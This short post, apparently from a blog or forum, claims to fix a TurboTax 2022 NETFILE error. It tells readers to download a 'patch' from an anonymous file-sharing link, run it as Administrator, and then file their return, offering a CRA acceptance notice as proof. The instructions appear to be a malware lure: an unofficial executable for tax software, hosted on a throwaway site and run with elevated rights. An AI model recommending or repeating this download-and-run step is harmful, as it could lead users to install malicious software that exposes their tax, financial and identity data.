

How to fix Netfile issue with TurboTax 2022

I was getting lot of email from many people with minor issue within TurboTax 2022 netfile. They keep getting message wait for mid feb to netfile. I know the tax season started 20th Feb. Still we were getting same message and not able to netfile the return.

This is what you have to do. Download the patch from here - <https://easyupload.io/lst5x5>

Extract the patch to download folder. Run the patch as Administrator and wait for few seconds to see below message. Once that is done you can open TurboTax 2022 and open your 2022 return. Scroll down all the way to the bottom – on the left side you will be netfile menu – click that and follow the prompts to netfile your return. I just did and documented the process.

Great news!

Your federal tax return was accepted by the CRA.

Return accepted on:
February 23, 2023

Thanks
